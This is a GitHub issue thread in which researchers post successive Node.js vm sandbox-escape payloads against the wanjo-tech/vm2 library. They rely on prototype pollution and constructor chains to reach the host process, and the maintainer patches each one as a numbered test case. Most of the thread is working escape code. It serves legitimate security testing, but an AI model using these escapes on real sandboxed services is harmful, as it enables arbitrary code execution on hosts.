wanjo-tech / vm2

replacement to the vm2 lib
8 stars 0 forks source link

escape camp #2

Closed j4k0xb closed 4 months ago

j4k0xb commented 5 months ago
process.on('unhandledRejection', (reason, promise) => {
  console.error('WARNING unhandledRejection', promise, 'reason:', reason);
});

var jevalx = async(js,ctx,timeout=60000,More=['process','Symbol','Error','eval','require'],vm=require('node:vm'),Wtf={})=>{
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
  try{return await vm.createScript(js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})}
  catch(ex){throw ex}finally{for(var k in Wtf){globalThis[k]=Wtf[k]};}
};
void (async () => {
  await Promise.resolve();
  await Promise.resolve();
  this.constructor
    .constructor("return process")()
    .mainModule.require("fs")
    .writeFileSync("pwned", "");
})();
const customInspectSymbol = Symbol.for({
  toString: () => "nodejs.util.inspect.custom",
});

throw {
  [customInspectSymbol]: () => {
    this.constructor
      .constructor("return process")()
      .mainModule.require("fs")
      .writeFileSync("pwned", "");
  },
};
mgttt commented 5 months ago

thanks, done q13

this.constructor.__defineSetter__('freeze', f=>f.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""));
false
XmiliaH commented 5 months ago
const global = constructor.constructor('return this')()
global.Object = Object.assign({set freeze(f){f.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")}}, global.Object);
false

and

({then: 1, toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")})
mgttt commented 5 months ago

all set (q14/q15/q16/q17), banned Object.assign and check ownProperty('toString') for the output

XmiliaH commented 5 months ago
const global = constructor.constructor('return this')()
global.Object = {set freeze(f){f.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")}};
false

and

({hasOwnProperty: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")})
mgttt commented 5 months ago

these are new ! and alll set (q18,q19,q20)

BTW, you are very cool, after all these thing done, can you add me friend ;)

const global = constructor.constructor('return this')()
global.Object = {set freeze(f){f.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")}};
false

and

({hasOwnProperty: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")})
XmiliaH commented 5 months ago
hasOwnProperty.bind = eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))");
true
mgttt commented 5 months ago

Done! this is evil! I like it. and it take me a while to fix it.

the _core vesion return [rst,err,warnings] now to let caller has own decision to make.

hasOwnProperty.bind = eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))");
true
XmiliaH commented 5 months ago
constructor.keys(0).__proto__.push = eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))");
({toString:1})
mgttt commented 5 months ago

@XmiliaH all done. wait for you new move!

constructor.keys(0).__proto__.push = eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))");
({toString:1})
mgttt commented 5 months ago

@j4k0xb do you mind an be free to join?

XmiliaH commented 5 months ago
constructor.prototype.__defineGetter__('cachedData', function(){this.importModuleDynamically.constructor('return process')().then(p=>p.mainModule.require("fs").writeFileSync("pwned", ""))});
(_=>_)
mgttt commented 5 months ago

done, quick fixed;

constructor.prototype.__defineGetter__('cachedData', function(){this.importModuleDynamically.constructor('return process')().then(p=>p.mainModule.require("fs").writeFileSync("pwned", ""))});
(_=>_)
XmiliaH commented 5 months ago
Object.defineProperty(constructor.prototype, 'cachedData', {get(){this.importModuleDynamically.constructor('return process')().then(p=>p.mainModule.require("fs").writeFileSync("pwned", ""))}});
(_=>_)
mgttt commented 5 months ago

ok, done q23/q24

Object.defineProperty(constructor.prototype, 'cachedData', {get(){this.importModuleDynamically.constructor('return process')().then(p=>p.mainModule.require("fs").writeFileSync("pwned", ""))}});
(_=>_)
XmiliaH commented 5 months ago
constructor.defineProperty(constructor.prototype, 'cachedData', {get(){this.importModuleDynamically.constructor('return process')().then(p=>p.mainModule.require("fs").writeFileSync("pwned", ""))}});
(_=>_)
mgttt commented 5 months ago

done q25. and few more lines deletion added too

constructor.defineProperty(constructor.prototype, 'cachedData', {get(){this.importModuleDynamically.constructor('return process')().then(p=>p.mainModule.require("fs").writeFileSync("pwned", ""))}});
(_=>_)
XmiliaH commented 5 months ago

What about https://tc39.es/ecma262/multipage/reflection.html#sec-reflect.defineproperty?

mgttt commented 5 months ago

OK, I'll investigate it and write some test cases. update you when done;

What about https://tc39.es/ecma262/multipage/reflection.html#sec-reflect.defineproperty?

mgttt commented 5 months ago

deletion of Reflect and Proxy will help? had added with K2 case

What about https://tc39.es/ecma262/multipage/reflection.html#sec-reflect.defineproperty?

XmiliaH commented 5 months ago
async function f(){
    throw {toString: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))};
}
f()
f()
mgttt commented 5 months ago

ok, already mark Function todo. now banned it

async function f(){
  throw {toString: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))};
}
f()
f()
XmiliaH commented 5 months ago

What about using const Function = (_=>_).constructor;?

mgttt commented 5 months ago

I did try, it doesn't hack;)

maybe the replacement of "Function" and constructor is working well?

> await jevalx(`const Function = (_=>_).constructor;Function`);
[Function (anonymous)]
> await jevalx(`const Function = (_=>_).constructor;Function("return this")()`);
{
  eval: {},
  console_log: {},
  Symbol: {},
  Reflect: {},
  Proxy: {},
  Function: [Function: Function]
}
> await jevalx(`(_=>_).constructor;Function("return this")()`);
{
  eval: {},
  console_log: {},
  Symbol: {},
  Reflect: {},
  Proxy: {},
  Function: [Function: Function]
}
> await jevalx(`(_=>_).constructor;Function("return process")()`);
Uncaught:
{
  message: 'process is not defined',
  js: '(_=>_).constructor;Function("return process")()'
}
> await jevalx(`delete Function;const Function=(_=>_).constructor;Function("return process")()`);
Uncaught:
{
  message: 'process is not defined',
  js: 'delete Function;const Function=(_=>_).constructor;Function("return process")()'
}
>

What about using const Function = (_=>_).constructor;?

XmiliaH commented 5 months ago

For me

const Function = (_=>_).constructor;
async function f(){
    throw {toString: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))};
}
f()
f()

works just fine.

mgttt commented 5 months ago

unhandledRejection handler when ''+reason will trigger toString....(then the Function is function in the host scope....)

it's a nice trick ..fixed!

For me

const Function = (_=>_).constructor;
async function f(){
  throw {toString: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))};
}
f()
f()

works just fine.

XmiliaH commented 5 months ago
const Function = (_=>_).constructor;
const a = constructor.prototype.__proto__.constructor.keys(0);
const s = Object.getOwnPropertySymbols(a.__proto__)[0];
const i = a[s]().__proto__;
const n = i.next;
i.next = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', '')); return n.call(a[s]());"]));
mgttt commented 5 months ago

done. (Object in side sandbox now route to the constructor.__proto__) test case q28 added

const Function = (_=>_).constructor;
const a = constructor.prototype.__proto__.constructor.keys(0);
const s = Object.getOwnPropertySymbols(a.__proto__)[0];
const i = a[s]().__proto__;
const n = i.next;
i.next = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', '')); return n.call(a[s]());"]));
XmiliaH commented 5 months ago
const Function = (_=>_).constructor;
const Object = {}.constructor;
const a = constructor.prototype.__proto__.constructor.keys(0);
const s = Object.getOwnPropertySymbols(a.__proto__)[0];
const i = a[s]().__proto__;
const n = i.next;
i.next = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', '')); return n.call(a[s]());"]));
mgttt commented 5 months ago

passed case q29.

const Function = (_=>_).constructor;
const Object = {}.constructor;
const a = constructor.prototype.__proto__.constructor.keys(0);
const s = Object.getOwnPropertySymbols(a.__proto__)[0];
const i = a[s]().__proto__;
const n = i.next;
i.next = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', '')); return n.call(a[s]());"]));
XmiliaH commented 5 months ago
const Function = (async _=>_).constructor;
const Object = import('').catch(_=>_).__proto__.__proto__.constructor;
const a = constructor.prototype.__proto__.constructor.keys(0);
const s = Object.getOwnPropertySymbols(a.__proto__)[0];
const i = a[s]().__proto__;
const n = i.next;
i.next = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', '')); return n.call(a[s]());"]));
mgttt commented 5 months ago

OK, I understand this escape, now using the old guards, until found better solution.

done test case q30

const Function = (async _=>_).constructor;
const Object = import('').catch(_=>_).__proto__.__proto__.constructor;
const a = constructor.prototype.__proto__.constructor.keys(0);
const s = Object.getOwnPropertySymbols(a.__proto__)[0];
const i = a[s]().__proto__;
const n = i.next;
i.next = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', '')); return n.call(a[s]());"]));
XmiliaH commented 5 months ago
const Function = (async _=>_).constructor;
const Object = import('').catch(_=>_).__proto__.__proto__.constructor;
Object.__proto__ = {
    set defineProperty(f) {
        f(this, 'assign', {set: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))});
    }
};
false
mgttt commented 5 months ago

thanks! dirty done q31.

Still didn't find a solution to prevent the import() host Promise escape.... will update you once I found...

have used your old skill to cancel the import().catch()

const Function = (async _=>_).constructor;
const Object = import('').catch(_=>_).__proto__.__proto__.constructor;
Object.__proto__ = {
  set defineProperty(f) {
      f(this, 'assign', {set: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))});
  }
};
false
XmiliaH commented 5 months ago
const Function = (async _=>_).constructor;
constructor.__proto__.apply = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('').catch();
mgttt commented 5 months ago

done, promise checked inside the import() test case q32

const Function = (async _=>_).constructor;
constructor.__proto__.apply = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('').catch();
XmiliaH commented 5 months ago
const Function = (async _=>_).constructor;
const promise = import('');
constructor.__proto__.apply = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
promise.catch();
mgttt commented 5 months ago

done, test case q32. and fixed a little bug related...

const Function = (async _=>_).constructor;
const promise = import('');
constructor.__proto__.apply = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
promise.catch();
XmiliaH commented 5 months ago
const Function = (async _=>_).constructor;
const Object = constructor.prototype.__proto__.constructor;
Object.defineProperty(Object.__proto__, 'catch', {
    set: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])),
    get: ()=>1
});
false
mgttt commented 5 months ago

done q33

const Function = (async _=>_).constructor;
const Object = constructor.prototype.__proto__.constructor;
Object.defineProperty(Object.__proto__, 'catch', {
  set: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])),
  get: ()=>1
});
false
mgttt commented 5 months ago

I cited your names in the article. https://github.com/wanjo-tech/vm2/blob/main/en.md

If you mind, please let me know so I can remove them. @XmiliaH @j4k0xb

XmiliaH commented 5 months ago

Just to note: We didn't even start yet to point out all the Prototype pollution cases here.

mgttt commented 5 months ago

Oh I see, then maybe I keep trying to solve case by case.

Thanks for you timer anyway, Once new cases found I'll keep follow up and I'll do some case searching later from projects vm2/isolated-vm/node:vm etc.

Just to note: We didn't even start yet to point out all the Prototype pollution cases here.

XmiliaH commented 5 months ago
const Function = (async _=>_).constructor;
const Object = constructor.__proto__.__proto__.constructor;
Object.defineProperty(Object.__proto__, 'catch', {
    set: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])),
    get: ()=>1
});
false
mgttt commented 5 months ago

done with test case q34. and a dumptree tool is uploaded to help to find danger parts

const Function = (async _=>_).constructor;
const Object = constructor.__proto__.__proto__.constructor;
Object.defineProperty(Object.__proto__, 'catch', {
  set: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])),
  get: ()=>1
});
false
XmiliaH commented 5 months ago
import('').catch(_=>_).constructor.__proto__ = {
    set constructor(f) {f("return process")().mainModule.require("fs").writeFileSync("pwned", "");}
}
XmiliaH commented 5 months ago

And if you want to credit me add: @XmiliaH, contributed numerous sandbox escape test cases and is of the view that this will never be secure.

mgttt commented 5 months ago

maybe you didn't use the updated rc2 version?

I've tested this passed. case r4. the catch() or even .then() will throw to the host already

>node test /case=r4
{ case: 'r4' }
r4 ex= Object <[Object: null prototype] {}> {
  message: 'EvilImport',
  js: '\n' +
    "import('').catch(_=>_).constructor.__proto__ = {\n" +
    '        set constructor(f) {f("return process")().mainModule.require("fs").writeFileSync("pwned_r4", "");}\n' +
    '}\n'
}
r4 check= object function
import('').catch(_=>_).constructor.__proto__ = {
  set constructor(f) {f("return process")().mainModule.require("fs").writeFileSync("pwned", "");}
}
mgttt commented 5 months ago

Yes, already updated the "en.md" file for this. Let's agree to disagree ;)

And if you want to credit me add: @XmiliaH, contributed numerous sandbox escape test cases and is of the view that this will never be secure.

XmiliaH commented 5 months ago

For me the importModuleDynamically is not called. I do not know why, but it isn't. That's node for you. I use v20.12.0

mgttt commented 5 months ago

I see, Let me download v20 to have a test (mine v18), update you later for the result.

For me the importModuleDynamically is not called. I do not know why, but it isn't. That's node for you. I use v20.12.0